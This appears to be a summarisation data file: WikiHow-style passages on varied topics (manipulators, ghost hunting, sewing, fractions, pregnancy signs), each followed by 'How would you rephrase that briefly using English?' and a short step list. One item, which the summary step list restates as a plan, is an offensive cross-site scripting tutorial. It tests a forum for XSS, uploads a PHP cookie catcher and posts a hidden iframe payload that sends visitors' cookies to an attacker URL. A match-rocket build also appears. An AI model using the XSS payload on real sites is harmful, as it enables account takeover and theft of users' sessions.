How would you rephrase that briefly using English?

Develop your own principles. Be ambitious in your own way. Seek responsibility and take responsibility for your actions. Learn to make sacrifices for the people you love and care about. Be a good man.


A manipulator  intentionally creates an imbalance of power and exploits the victim for their own agenda. They may let you talk first so that they can find holes in what you’re saying or twist your words. This person might lie or make obvious excuses for their behavior, particularly blaming you for ‘making’ them do something. A manipulative person will often be judgmental and critical of you. They might make you feel guilty when they’re actually at fault.  Manipulators share a few common characteristics:  They know how to detect your weaknesses. They use your weaknesses against you. They often convince you to give up something of yourself in order to serve their self-centered interests. Once a manipulator succeeds in taking advantage of you, they will likely repeat the violation until you put a stop to the exploitation.    For example, the person might say, “Well, if you had made dinner for me, I wouldn’t be in a bad mood!” The silent treatment is a common manipulative tactic for someone trying to get their way. Especially if the manipulator is someone you talk to regularly or work with, it might be beneficial to talk about the behavior. Make it clear that you don’t like them treating you that way. You can also say what you’d like instead.  For example, if you’re on a project and the person is trying to manipulate you to do something their way, say, “I don’t like it when you talk to me that way. I’m capable of making a decision on my own.” If the person is manipulating you to buy something for them, say, “It’s not acceptable to talk to me that way. You can make a request if you’d like, but guilting me into buying something won’t work.” Recognize if the person is using guilt as a way to control you or to get you to do something you don’t want to do. Try putting their statements back onto them for self-reflection. For example, the person may say, “You’re never there for me when I need you.” Simply say back, “That’s not true, and it makes me feel like you don’t appreciate me when I help you.” Point out their...

How would you rephrase that briefly using English?

Recognize signs of a manipulator. Talk about your interactions. Ignore guilt trips. Point out their inequality.


A manipulator may try to get a rise out of you or have you respond emotionally instead of rationally. When speaking with a manipulator, stay calm and in control. Don’t get swept up by the moment or taken advantage of because you are kind. Take some deep breaths to help you feel calm in your thinking and in your body.  For example, if you feel rushed in responding to the person, remember that you don’t have to answer right away. Take some moments to think it over so you don’t make a decision quickly, even if they want you to. You always have the option to step away from the situation and delay decisions. You can also try grounding techniques to help you stay rational while you're feeling emotional. For example, choose a color and find it in the room, or concentrate on what you're feeling in your body, such as tension in your leg muscles. You have the right to say no and not feel guilty. You also have the right to put your own priorities first. Stand your ground when you say no. Make sure the person knows that once you say no, you mean and it there’s no budging you.  For example, say, “I’m not available to you tonight” or, “I’m not willing to respond to that.” If they push you, say, “I’ve already told you my decision and I will not change it. Please stop asking.” Make sure you get a say in what happens and that you make your voice heard. If you need to say something, don’t let them interrupt you or talk over you. Use “I” statements to communicate how you feel and what you’re thinking. You should feel like you have the option to say no or share your opinion and still be respected for your decision. For example, if they are trying to get you to agree with them, say, “I disagree” or “I’d like you to stop asking me now.” Dealing with a manipulator can be emotionally exhausting, so make sure you’re taking care of yourself. If you’re feeling stressed out after an interaction or you feel drained from your exchanges, take some time to give to yourself. Practice deep breathing to bring a sense of calm to your mind and...

How would you rephrase that briefly using English?

Stay calm. Say no firmly. Assert yourself and be heard. Practice self-care.


A manual camera is preferable to a digital one as you will have greater control over the exposure, making you more likely to catch a snap of the ghost. The ghost may appear as a blur or streak of light in the developed photograph. In addition, paranormal activity tends to interfere with the operation of electrical equipment, making a digital camera unreliable. A camcorder can also be used to catch a glimpse of any unusual shapes or activity at your chosen ghost-catching location.  Make sure to start recording at the beginning of the session and leave the camcorder running until the end. It will be easier if you set the camcorder on a tripod for the duration of the session. If your camera has a night-vision feature make sure to turn it on, as this will make spotting a ghost that much easier. Sometimes a tape recorder will pick up on sounds that you wouldn't normally be able to hear. These sounds will only reveal themselves when you play the tape back. Keep in mind that you may have to slow down or speed up the playback or use headphones in order to make sense of what you're hearing. An EMF (electromagnetic field) detector measures changes or disruptions to surrounding electrical fields, which may indicate the presence of a ghost.  Good EMF detectors can pick up on disturbances across a wide range of frequencies. EMF detectors can be purchased online, for anywhere between $20 and several hundred dollars. Other specialist equipment that may benefit the serious ghost-hunter includes:  An infrared thermal scanner, which is used to detect hot or cold spots caused by energy-sucking ghosts. An air ion counter, which measures the number of positive and negative ions in the air. Ghosts are believed to emit a high quantity of positive ions. However, these items are expensive and will require a certain amount of specialist knowledge in order to interpret the results. In recent years, many ghost hunting phone apps have become available, which claim to do the work of expensive, specialist ghost-hunting equipment.  The more...

How would you rephrase that briefly using English?

Use a manual camera. Use a camcorder. Use a tape recorder. Use an EMF detector. Use other specialist equipment. Download a ghost hunting app. Look out for any paranormal activity.


A mark of a good leader is knowing how to receive criticism without getting angry about it. When a supervisor gives you feedback, respond positively by thanking them and then implementing their suggestions. This demonstrates humility and willingness to learn.  Keep a positive attitude when receiving feedback. Your morale reflects on your team. Avoid anger, over-reaction, and indecision. These create lack of confidence in a leader that make followers question their decisions. When someone tells you how you could be less aggressive with your athletes when coaching a sports team, don't get upset. Smile and thank the critic. Although as a leader you often direct others in their tasks, doing your fair share is important. If you aren’t willing to do the grunt work that you assign, your subordinates won’t be willing to do it either. How much work you are willing to do is important in leading by example and proving that you have leadership qualities.  For example, you may have “cleaning the bathrooms” on your list of team tasks. Place yourself in the rotation of people assigned to clean them. If you're coaching a sports team, go out and demonstrate the play that you're describing. Show confidence and don't be afraid to be yourself. Lead from the front, not from behind. Leaders who are confident are usually noticed by those in authority. In other words, don’t change your personality to fit a leadership role; make the role fit your personality.  Look for challenges to take on. Managing small projects shows you have leadership qualities, especially when you are successful.  Try doing a few things to be more confident. For example, give yourself a pep talk in the mirror before work each morning. Proving you have leadership qualities means you must prove you are also honest. Leaders must show and inspire humility, transparency, and truthfulness through their actions. Lead by example by freely admitting your mistakes and shortcomings.  For example, if you send an email to the wrong person, immediately send a follow-up...

How would you rephrase that briefly using English?

Keep your cool. Do your share. Walk the talk. Be willing to admit mistakes. Be adaptable.


A mask further cleanses the pores and removes impurities from the skin. You can also use hydrating masks that add moisturizing properties to your skin. If you have oily or acne-prone skin, you should get a mask with clay or sulfur to draw out impurities, such as Kiehl's Rare Earth Deep Pore Cleansing Mask. If you have dry skin, use a hydrating mask, such as Nügg Hydrating Face Mask. If you don't want to purchase a mask, you can also make your own. Combine 1/2 teaspoon avocado, 1/2 teaspoon honey, 1/2 teaspoon yogurt, 1/8 teaspoon Brewer's Yeast, and 1/2 teaspoon cranberry, apple juice or kombucha in a food processor. Pulse until creamy and mixed together. Here are also some options for different skin types:  For normal or dry skin: Mix together 1/3 cup cocoa powder, 1/2 cup honey, 3 tbsp cream, and 3 tbsp oats. For normal to oily skin: Mix together 1/2 cup pureed raspberries, 1/2 oats, and 1/4 cup honey. Rub the mask into your skin, avoiding the eyes and mouth area. Let the mask sit for 10-15 minutes to let it set. Don't, however, let it get to the crumbly, mummified stage. Remove the mask with warm water and a soft washcloth.  If you feel any burning or warming sensations while the mask is setting, remove it. Your skin may be getting irritated. When removing the mask, don't abrasively scrub it off, but instead let the warm water do its work to flush the mask out and off of your skin.

How would you rephrase that briefly using English?

Understand the importance of using a mask. Get the right mask. Make your own mask. Apply the mask.


A match rocket is simple to make: all you need is a few match heads, plus a piece of foil to wrap around them. You'll end up with a tiny rocket that shoots out smoke and hot air when lit, pushing itself up and away. To get started, cut out a foil square about 5 x 7 inches (13 x 18 cm) works well. There are two types of foil: normal and heavy-duty. Heavy duty foil makes a better seal, but it will weigh down your rocket if you use too much. Lay the skewer down along the long side of the foil. Roll the skewer along the foil to wrap a foil tube around it. Try to keep the foil tight against the skewer, and as even as you can. Pull out the skewer, leaving a hollow foil tube behind. You can buy wooden skewers at most grocery stores. If you don't have one, wrap a smaller piece of foil around a matchstick instead. Snip off the match heads with a pair of scissors. You only need one match head for each rocket.  Do this over a cloth or cloth-lined container so the match heads don't bounce away. Paper matches are a good option since they weigh less, but any type of match should work. Use the skewer to push a single match head into the foil tube. Stop once it's about ½ to 1 inch (1.25–2.5 cm) from the end.  If one end of the tube is more uneven or ragged than the other, put the match head near this end. You can put more match heads into the rocket if you want, as long as you leave that space in the end. Because the match heads won't all ignite at the same time, this doesn't increase the rocket power as much as you'd think. Crimp the end next to the match head closed with a pair of pliers. Repeat this from several angles, until the tube is as tightly closed as possible. If there are any holes in this end, smoke will escape and the rocket will not fly nearly as far. For extra insurance, fold this end over itself, as though it were a tube of toothpaste. Fold a tiny piece of foil and wrap it around this to stop it unrolling. Push the paper clip into the end of the tube that still has a hole. Wrap the foil around this object,...

How would you rephrase that briefly using English?

Cut a square of aluminum foil. Wrap the foil around a skewer. Cut the heads off matchsticks. Push a match head into the foil tube. Crimp the end of the foil tube. Wrap the other end around a paper clip. Make fins (optional).


A matching color thread will help to ensure that your finished jacket looks neat. For example, if you are making a black jacket with a grey lining, opt for a black thread. For a red jacket with a black lining, opt for a red or black thread. A straight stitch is usually the best choice for attaching a jacket lining. Set your sewing machine to the straight stitch setting, which is usually number 1 on most sewing machines. You can use a different stitch type if desired, but make sure it is an inconspicuous one. For example, the zigzag stitch setting will be more noticeable, so only use this stitch if your pattern calls for it. The pattern for your jacket will indicate how the pattern pieces should go together. Follow the instructions to pin the pieces together correctly. For example, the pattern pieces may have darts or notches on them to indicate where two pieces should line up. When you have pinned all the pieces together, sew along the edges as indicated by your pattern to connect them. Sew about 0.25 inches (0.64 cm) to 0.5 inches (1.3 cm) of fabric from the edges of the fabric pieces. Make sure that the print sides of the lining and jacket are facing each other as you do this. Pin along the raw edges of the jacket neckline the lining neckline. Then, place pins along the edges of the front opening area (along where the jacket’s zipper or buttons will be) of the jacket and lining. Pin along the bottom edges of the jacket and lining as well. The pins should be about 0.25 inches (0.64 cm) to 0.5 inches (1.3 cm) from the raw edges of the fabric pieces. Sew through the lining and jacket material about 0.5 inches (1.3 cm) from the raw edges. Do not sew the pieces together completely because you will need to invert them. Sew around the edges except for about 3 inches (7.6 cm) to 5 inches (13 cm) of the pinned area. Remove the pins as you sew.

How would you rephrase that briefly using English?

Select thread that will blend in with the jacket lining fabric. Select the straight stitch setting on your sewing machine. Pin the lining pieces together according to the pattern’s instructions. Sew the lining pieces together. Pin the lining and completed jacket together. Sew around the pinned edges leaving a small gap.


A mattress that is medium-firm will allow your spine to settle into a neutral position as you sleep. If you have a ruptured disc, you might want to stay away from an extra firm mattress. An extra firm mattress can be too firm, causing additional pressure on your spine. Avoid pillow top mattresses and materials like memory foam, which tend to be too soft for those suffering from a herniated disc. For many people suffering from a ruptured disc, lying down is a painful experience. If you find lying flat to be too painful, consider sleeping in an adjustable bed. An adjustable bed can be adjusted to prop you up, possibly alleviating pressure and pain on your spine. If you have trouble adjusting to an adjustable bed, try sleeping in the adjustable bed for at least a few hours each night. Increase the amount of hours spent in the adjustable bed as you become more comfortable with it. A chair that reclines can be a good place to sleep if you are suffering from a ruptured, or herniated, disc. Since a reclining chair props you up, it can help relieve some of the pressure on your lower spine. If you find other sleeping positions uncomfortable, try a chair that reclines. If you still want to sleep in the same room as your spouse or partner, try moving a reclining chair into the bedroom. A pillow that is designed to support your neck, also known as a pillow with cervical support, allows your neck to rest in a neutral position. This helps mitigate spinal stress in other areas, like your back. If you sleep on your side, consider sleeping with a pillow between your knees. This can add comfort and relieve some pressure from your spine. Try using a small pillow made of memory foam, which will shape itself to the contours of your body.

How would you rephrase that briefly using English?

Sleep on a firm mattress to support your spine. Consider an adjustable bed to alleviate pressure on your spine. Try sleeping in a reclining chair to relieve pressure. Use a pillow with cervical support to keep your neck in a neutral position. Place a pillow between your knees to relieve spinal pressure.


A mechanic will be able to open your hood to inspect the hood release cables underneath the hood. To fix the issue, the mechanic may just need to clean and re-grease the cables. If one or both of the cables are broken, the mechanic will need to replace the broken cables.

How would you rephrase that briefly using English?

Visit a mechanic who is familiar with Mini Coopers.


A medical doctor (MD) or doctor of osteopathy (DO) can prescribe medications designed to help you ease off of marijuana. If you've tried to quit cold turkey or to quit gradually, or even if you just know that there's no way you can do it on your own, seeing a doctor may be your best bet. Even if you are unsure about quitting smoking weed, just make an appointment. One good start would be to find outpatient addiction services. Never let the cost of psychological care stop you from seeking treatment. There are outpatient rehabilitation groups that are less expensive than seeing an individual addiction counselor. Relapse is common. If you try outpatient services and you are still getting high, talk to your counselor about in patient addiction treatment. If there are underlying issues that are driving your marijuana use — such as depression or anxiety — talking them through with a professional could help you quit. If possible, try to find someone who specializes in addiction issues. Look at different modalities. There are several modalities, or types of therapy, that might be appropriate for pot addiction. Talk therapy is the most common kind, but you might also investigate cognitive-behavioral therapy. If you're having a hard time quitting on your own because of peer pressure or a lack of confidence, a support group might be the answer for you. Marijuana Anonymous and Narcotics Anonymous is in several countries, and provides free membership and meetings. Search online for groups in your area. If nothing else has worked and your marijuana addiction is seriously endangering your health and happiness, you might need the help that inpatient rehab offers. Its like a vacation with the purpose of rebuilding, re-imagining, and redefining your life. Some people only go to inpatient treatment one time and never return to smoking. Other people need a little more love and go to inpatient multiple times. Never deny yourself treatment. Always seek help and work out costs later.  Exhaust all your other options first. Rehab is...

How would you rephrase that briefly using English?

Visit a psychiatrist for pharmacological help. See a therapist. Join a support group. Check into inpatient rehab.


A medical examiner is a difficult career for a variety of reasons. Before you commit yourself to the career path, take some time to learn about the benefits and drawbacks of the career.  A medical examiner is similar to a coroner. Your job would be to identify deceased persons and determine the cause of death. You would also conduct toxicology reports, autopsies, and locate sites of trauma and determine time of death. The difference is, a medical examiner is appointed while a coroner is elected. Also, coroners are not always medical doctors but medical examiners are.  If a death is the result of a crime, you may also travel to the scene of an accident to collect evidence and conduct interviews.  Medical examiner positions tend to pay well. Average pay is over $180,000 a year. However, pay is contingent on experience and location. Some states may pay less. Given the nature of the work, it can be a stressful and emotionally demanding position. Give serious consideration to whether you can deal with death on a daily basis. The deaths can be quite gruesome at times. If possible, talk to medical examiner and ask them how they cope with the job emotionally. If you want to be a medical examiner, your education path should begin early as you'll need 8 to 12 years of higher education after obtaining a high school degree.  Start looking into programs as early as sophomore or junior year. Get a sense of which undergraduate schools offer competitive, respectable science programs and what you can do to boost your chances of being accepted to one of these schools. Take a lot of science courses, aiming for AP curriculum later in high school. You should also study hard for any standardized tests, such as the ACT and SATS, you might need to take. Pay particular attention to the science and math sections, as a high score in these areas can help you get accepted into your chosen college after graduation. Look for science-related internships or volunteer experiences in high school. Ask your teachers and guidance counselor about...

How would you rephrase that briefly using English?

Learn about the career. Start in high school. Take advantage of your undergraduate education. Take the Medical College Admission Test.


A medical second opinion does not mean that you will see another doctor regularly. Its main purpose is to get medical information or opinions about a health problem from a physician other than the regular doctor who has been providing care. The regular doctor may be your pediatrician, family physician, or a sub-specialist. Second opinions (consultations) may be obtained for several reasons:  To identify or confirm a diagnosis. To help interpret a test result. To provide additional viewpoints and information about risks, benefits, or expected outcomes. To give recommendations regarding treatment choices . To provide an opinion about the need, type, and timing of surgery. To help parents make the decision to change care to another provider. For health issues in infants and children, requests for a second opinion may come from several sources.  A second opinion may be recommended by your pediatrician or family physician, especially when there is an unusual or ill-defined medical problem that is outside your physician’s area of expertise.Your child's regular doctor may also ask for a second opinion if they believe that the input of a specialist will allow him or her to provide better management A consultation may also be requested by your regular doctor when they are treating a condition that is not responding as expected, or when they disagree with opinions or recommendations from another doctor. However, you — as the parents of family members of the child — may also request a second opinion, especially when the child is suffering from a serious condition that requires important or complex decisions. You may also request a second opinion if you are concerned or confused about the diagnosis or treatment recommendations, if you want to be absolutely sure that all treatment options have been considered, or if you want to feel reassured that your child’s medical needs are being addressed in the best possible manner. Before you go ahead with arranging a second opinion, it's a good idea to take a step back and...

How would you rephrase that briefly using English?

Understand what is meant by "a second opinion". Be informed about who can request a second opinion. Evaluate whether you have valid reasons for wanting a second opinion. Recognize that there are poor reasons for wanting a second opinion.


A medical spoon is a cheap plastic device that you can buy at your local pharmacy. It has a broad open spoon-shaped end that is connected to a tube. You can use this as an STP device by peeing into the spoon end and directing the stream out of the end of the tube. You can convert a medical spoon into an STP device very easily. The tube end of the spoon is closed up, so to use it as an STP device you need make a hole in the end for the pee to come out of. There are a few ways you can do this. If you have a drill, you can drill a hole in the end of the tube. This will give you good control and allow you to direct the stream with some accuracy.  Alternatively you can slice off the end of the tube. If you do this, you can use a lighter to warm the plastic and make it easier to cut.  After slicing off the end of the tube, you can use the lighter to ensure that there are no sharp edges. After you have made your STP device, you should be sure that you spend some time at home practicing with it. It can be a strange experience at first, and leaks and mess can happen if you are uncertain. Practice using it in the bath, shower, or toilet at home before you try using it in a men’s room.

How would you rephrase that briefly using English?

Purchase a medical spoon. Make a hole in the end of the handle. Practice at home.


A medium-sized grocery bag will work well for this. Check the bag and make sure it’s dry and clean. Ensure there are no holes in the bag so your hair doesn’t get wet. As a test for holes, blow into the bag and then squeeze the top closed, making a balloon. Push the bag a bit and see if you hear any air seeping out. If not, then this bag should have no holes in it.

How would you rephrase that briefly using English?

Find a clean grocery bag with no holes in it.


A memory board is a great place to display concert bracelets, ticket stubs and photos. Use a large piece of fabric from your old clothes to cover the front and sides of a normal office corkboard. Secure the fabric in place with fabric glue around the perimeter on the backside. You can add mementos and rearrange your board by attaching items with pushpins. You can create a teddy bear for child out of old clothes. This can be particularly poignant if you use baby clothes or another cherished garment from the child’s early years. Use an online template for a polished look. You can even stuff the bear with fabric scraps of other old clothes.  You can use buttons from old garments to sew eyes and a nose onto your keepsake bear. If a bear feels too ambitious, old socks actually make great dresses for dolls. Cut off the tube portion of a tall sock. (Frilly or patterned socks work best.) Then thread a ribbon through each corner of the top to create straps. Children may be able to tackle this project with supervision. . Use an online pattern to turn your old duds into a quilt. You can incorporate many different pieces of clothes into your design to create an item full of happy memories. If you’re not particularly crafty but would still enjoy a quilt, there are many websites that will create a patchwork quilt out of your old clothes for you, such as Project Repeat or retailers on Etsy. You simply send your old clothes to them. You can use a piece of cardboard, fabric glue and an old garment to create a completely custom picture frame. This works particularly well if you have a photo of unusual size, as you can tailor-make the frame to suit a particular piece of artwork. You can also cover a tired, old picture frame in fabric for double the repurposing power. After you’ve made your keepsake, your old clothes can do double-duty by turning into gift wrap. Cut the fabric from a garment into a large circle or square (a bigger item like a dress or skirt works best) then place your gift in the middle. Wrap the fabric around...

How would you rephrase that briefly using English?

Make a memory board. Create toys. Sew a quilt Make a picture frame. Make custom gift wrap.


A mental health professional will be able to give you additional tools to cope with the difficulties of overcoming the addiction. If you decide to go see a therapist, you will not be judged or scolded for having a problem. As a matter of fact, the more honest you are about the details of your problem, the more your therapist will be able to help you. A major benefit of therapy is that you will get a chance to deal with pain from your past that may be contributing to the root cause of your addiction. Asking for help can be embarrassing, especially because of the nature of the addiction. But, asking for help really shows that you have the strength and capability of spotting and solving problems in your life. If you want to avoid describing the details of why you need help, ask to be referred to a therapist by saying something vague, like "I haven't been feeling like myself lately" or "I feel disconnected from everyone". If you do not feel comfortable asking your parents, try asking your school counselor or another trusted adult. In some cases, an addiction to pornography can be the result of a hormone imbalance that ramps up your sex drive. If you feel like your compulsion to use is totally unaffected by all the steps you have taken to recover, you could have an underlying problem that a doctor can help you diagnose. Many other teens deal with porn addictions, and joining a support group will help you realize that you are not alone. This is especially important since the secrecy involved in porn addiction is one of the elements that keep the problem going strong. A group will help you be accountable for your goals and have a place to share stories, successes, and detailed coping tips. Try a local 12-step group for overcoming addictions; Sex Addicts Anonymous and Sex and Love Addicts Anonymous are both groups that welcome people with pornography addictions. There are also many online groups you can join if you are unable to attend in-person meetings. It's understandable to be disappointed if you relapse into...

How would you rephrase that briefly using English?

Consider therapy. Ask for help from family members. Ask your therapist or general physician if your addiction indicates a health issue. Look into teen-focused peer groups. Handle relapses delicately.


A menu with tools to customize the desktop will open. Towards the bottom of the menu you will see an option to "Lock the taskbar". Make sure this option is unchecked before proceeding to the next step. The "Taskbar and Start Menu Properties" window will open. Choose "Left", "Right", or "Top" in the drop down menu to reposition the taskbar. Click Ok next to close the window. The taskbar is now in the chosen location on your screen. Right-click the taskbar, go back into "Properties" in the menu, then select "Bottom" in the "Taskbar location on screen" drop down menu. Click Ok to close.

How would you rephrase that briefly using English?

Right-click a blank section of the taskbar. Verify the taskbar is unlocked. Click "Properties" at the bottom of the menu. Click the "Taskbar location on screen" box. Click Apply. Reset the taskbar to its original position.


A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work. You will need to type some special code into the "post" which will capture the data of all who click on it. You'll want to test to see if the system filters out code. Post <script>window.alert("test")</script>If an alert box appears when you click on your post, then the site is vulnerable to attack. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to and that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted. An example code would look like <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.

How would you rephrase that briefly using English?

Find a vulnerable site where you can post content. Go to create a post. Create and upload your cookie catcher. Post with your cookie catcher. Use the collected cookies.


A message on the screen will tell you which button to press to begin. A marker will appear on your mini-map showing the location of your target. Chase down the target within the time limit.  If successful, you’ll be rewarded with money and another target will appear on the map. There are 12 Vigilante missions. You’ll fail if you don’t catch the target within the time limit or spend more than a minute outside of a police vehicle.

How would you rephrase that briefly using English?

Find either a police car or a SWAT van and get into one. Start the “Vigilante” mission. Chase a target.


A microplane is like a very fine grater, and is often used for zesting.  However, if you don’t have a microplane, a grater will work just as well.  This method often produces a lot of ginger juice, so you will want to make sure to do it over a bowl or plate. Scrape the peeled ginger over the microplane or grater, occasionally collecting the pulp that collects on top and adding it to the pile.  This may take awhile, but in the end you have very fine pieces of ginger that are almost like pulp, and impossible to find in your final dish. Food processors are generally better for a large amount of ginger-- too little ginger, and most of it will get stuck under the blade.  Use a food processor when you want to mince an entire root. If you don’t need an entire root, but still want to use the food processor, ginger freezes quite well when wrapped in plastic.  If you are cooking with frozen ginger, you don’t even need to thaw it-- the frozen water evaporates very quickly, leaving you with usable ginger. If you are making a dressing or marinade, you can use a strong blender to mince your ginger.  Many blenders require liquid to keep from stalling the motor, so only use this method if you are making something liquid with your ginger. Loosely chop the ginger before putting it in the blender with other liquids. Be sure to blend completely. Remove the blender from the base and checking for large pieces with a fork to make sure you don’t get chunks.

How would you rephrase that briefly using English?

Use a microplane or grater to mince the ginger. Use a food processor. Use a nutribullet or small blender.


A midi skirt is typically supposed to be worn at mid-calf-length. That is where the name “midi skirt” originates from. Depending on your height, it can be difficult to find a skirt that comes down to that length. If that’s the case, you can choose to wear it shorter or get it altered. If you’re short, a midi skirt can make you look even shorter. The skirt may not look quite right even if you do find a skirt that comes to mid-calf. Instead, choose a skirt that comes just below the knee. It won’t make you look even shorter and will still be considered a midi skirt. A midi skirt is meant to be pulled up to the narrowest part of your waist. When trying on skirt, look for one that fits snugly around that part of your body. Wear a belt or have the skirt altered if you have trouble finding a skirt that fits correctly around your waist. Midi skirts are most often worn loose around the legs, but they can also be worn tightly fitted. A loose skirt is great for a casual or business style. A fitted skirt would be better for a formal occasion or for a night out. It’s rare to find a midi skirt from the store that fits perfectly. Consider going to a tailor to have your skirt altered to your exact measurements. You could also use a sewing machine if you already know how to make alterations.

How would you rephrase that briefly using English?

Select a skirt that falls at mid-calf. Choose a skirt that falls just below the knee if you’re petite. Opt for a skirt that fits snugly around the waist. Choose a fitted or loose skirt. Consult a tailor.


A minor scale has a lot in common with a major scale. Like a major scale, it's also named for its root note (e.g., E minor, A minor, etc.) Most of the notes are even the same. There are just a few changes you need to make: The minor scale has flat 3rd, 6th, and 7th degrees. Having a flat 3rd, 6th, and 7th in a minor scale changes the step pattern from the major scale. Memorizing the new pattern can be handy as you get familiar with minors.  The step pattern for a minor scale, starting from the root, is: whole step, half step, whole step, whole step, half step, whole step, whole step. For example, to make a G minor scale, start with a G major scale and move the 3rd, 6th, and 7th degrees down a half step each. A G major scale is: G, A, B, C, D, E, F#, G; so a G minor scale is: G, A, Bb, C, D, Eb, F, G. Just like with majors, the notes in minor scales are played with a certain pattern of frets, which you can slide up and down the neck to play different minors. As long as you're starting on the low E or A string, the minor pattern is the same. For example, to play an Eb minor scale, take an Eb minor scale and slide the 3rd, 6th, and 7th degrees down one fret, like this:  A string: Eb (fret 6), F (fret 8), F# (fret 9) D string: Ab (fret 6), Bb (fret 8), B (fret 9) G string: Db (fret 6), Eb (fret 8) Just like with major scales, it's most common for minors to be played going up, then back down again. Again, you're just playing the same sequence of notes in reverse order with no changes.  For example, to play an Eb minor scale up and down, play Eb, F, F#, Ab, Bb, B, Db, Eb going up and Eb, Db, B, Bb, Ab, F#, F, Eb going down. Like with major scales, you can add the ninth (the F above the octave in this case) or play the octave twice to get the beats to line up with a 4/4 beat.

How would you rephrase that briefly using English?

Note the difference between a minor and major scale. Commit the step pattern for a minor scale to memory. Study the fingering pattern for minor scales. Practice playing the scale up and down.


A mint plant needs plenty of space to grow. A mint plant thrives in well-drained soil. Purchase a saucer to place below the pot to avoid staining your windowsill or patio. You can submerge the whole 12-inch pot in a larger pot, next to other herbs. Keep in mind that many species of mint will still find a way to take over the entire pot through the holes in the bottom of the mint pot. If you want to plant it with other herbs, you will want to separate the herbs later in the season.

How would you rephrase that briefly using English?

Shop for a pot that is at least 12 inches (30.5 cm) in diameter. Choose a pot with drainage holes in the bottom. Purchase an additional, much larger, pot if you want to pot mint and other herbs together.


A missed period is usually the first sign of pregnancy. You should track your menstrual cycle to know roughly when to expect your monthly period. If you do not experience your period within this time frame, this can be an early sign you're pregnant. About a quarter of pregnant women experience nausea as the first sign of pregnancy. You may feel sick to your stomach at certain times of the day. Strange smells may easily trigger feelings of nausea and sickness. Implantation bleeding sometimes occurs just after pregnancy, possibly due to a sperm attaching to an egg. Some women may mistake this for a very light period, but it can be a sign of pregnancy if you are also experiencing other symptoms.  Implantation bleeding or spotting is much lighter than your regular period. You may only notice it when you wipe. The color also may differ from a regular period. It may be more pink or brown-colored than usual. Pregnancy can cause unexpected physical discomfort. Usually, this takes the form of mild uterine cramping as well as tender, sore breasts. Like many symptoms of pregnancy, these are often similar to pains you may experience just before your period. During pregnancy, your kidneys produce extra fluid due to increased levels of blood in your body. Many women notice increased urination during pregnancy. If you find yourself using the bathroom more often, this could be an early sign that you are pregnant. Just after you become pregnant, it's normal for your body to produce up to 25% more urine. The increase in urine will peak at 10-15 weeks of pregnancy. After that, you'll likely feel increased urges to urinate, as the additional weight of your uterus and growing baby press down on your bladder. Breast tissue is very sensitive to your hormones, so your breasts will show signs of pregnancy early. You may start to experience tender, swollen breasts as early as 2 weeks after conception. It's normal to feel a tingly sensation and soreness. Your breasts may also start to fill full and heavy.

How would you rephrase that briefly using English?

Keep track of your menstrual cycle. Pay attention to unusual nausea. Note unusual bleeding or spotting. Evaluate if you have unusual aches and pains. Look for changes in urination habits. Notice breast tenderness.


A mixed fraction is when you have a whole number and a fraction, like in the above example (1 5/12). Meanwhile, an improper fraction is one where the numerator (the top number) is bigger than the denominator (the bottom number). That's also seen in the above step, with 17/12. For the example for this section, let's work with 13/12 and 17/8. Remember the three ways you can find the LCD? By either writing out the multiples, using prime factorization, or by multiplying the denominators. Let's figure out the multiples of our example, 12 and 8. What's the smallest number these two go into? 24. 8, 16, 24 and 12, 24 – bingo! Both denominators now need to be turned into 24. How do you get 12 to 24? Multiply it by 2. 8 to 24? Multiply it by three. But don't forget – you need to multiply the numerators, too! So 13 x 2/12 x 2 = 26/24. And 17 x 3/8 x 3 = 51/24. We're well on our way to solving the problem! Now that you have the same denominator, you can add these two numbers together with ease. Remember, leave the denominator alone! 26/24 + 51/24 = 77/24. There's your one fraction! That top number is mighty big, though.... Having such a large number on top is a little weird – you can't quite tell the size of your fraction. All you have to do is put the denominator into the numerator until in can't be repeated again and then see what you have leftover. For this example, 24 goes into 77 three times. That is, 24 x 3 = 72. But there's 5 leftover! So what's your final answer? 3 5/24. That's it!

How would you rephrase that briefly using English?

Convert your mixed fractions into improper fractions. Find the common denominator. Multiply your numerators and denominators to get your like fraction. Add or subtract your fractions. Convert your answer back into a mixed fraction.


A mixed number will contain a whole number and a fraction. The whole number should be positive, negative, or zero because it's an integer. For example, in the mixed number 1 3/4, 1 is the integer. Look at the fraction and find the number above the dividing line. This number is the numerator and it will tell you how many parts there are of the fraction. In the example 1 3/4, 3 is the numerator. Identify the number below the dividing line to find the denominator. This tells you how many parts it takes to make the whole number. For example, 4 is the denominator in the mixed fraction 1 3/4.

How would you rephrase that briefly using English?

Look for the integer. Recognize the numerator. Find the denominator.


A mole (also called congenital nevi) is a pigmented birthmark (caused by an overgrowth of the melanin-producing cells) on the skin that generally appears during childhood. The typical characteristics of moles include:  Tan, brown, red, pink, blue or black color. Smooth, flat, wrinkled or raised texture. Oval to round shape. Typically less than 1/4 inch in diameter but sometimes moles can be bigger. Sometimes moles have hair growing on them. Most moles are harmless but in rare cases they can become cancerous. Monitor your moles and contact your doctor if their appearance changes. These pigmented birthmarks are sometimes caused by a genetic disorder called neurofibromatosis. This condition is divided into three distinct types; the mildest form (neurofibromatosis 1) appears in childhood and is characterized by flat, light brown-colored birthmarks on the skin:  Café au lait spots can be present at birth or appear during childhood and then stabilize. They can be treated with lasers but often return.  In addition to birthmarks, neurofibromatosis 1 may be characterized by freckling in the armpit, soft bumps on or under the skin (neurofibromas or benign tumors), tiny, harmless bumps on the eye (called Lisch nodules), and/or  bone deformities. The two other types (neurofibromatosis 2 and 3) are much less common than the first type and are characterized by more serious symptoms and tumors. If you suspect your child has neurofibromatosis, consult the pediatrician. Neurofibromatosis can't be cured, but your child’s pediatrician will monitor the complications and treat the symptoms. These are pigmentation birthmarks in children that commonly disappear when the child reaches school age. Typical characteristics of Mongolian spots include:  Blue or blue-gray-colored spots on the buttocks, back, spine, shoulders, or other areas. Flat and irregular shape. The skin texture is normal. Typical size is between 2 and 8 centimeters wide. Because these marks disappear on their own, no treatment is recommended. Also known as salmon...

How would you rephrase that briefly using English?

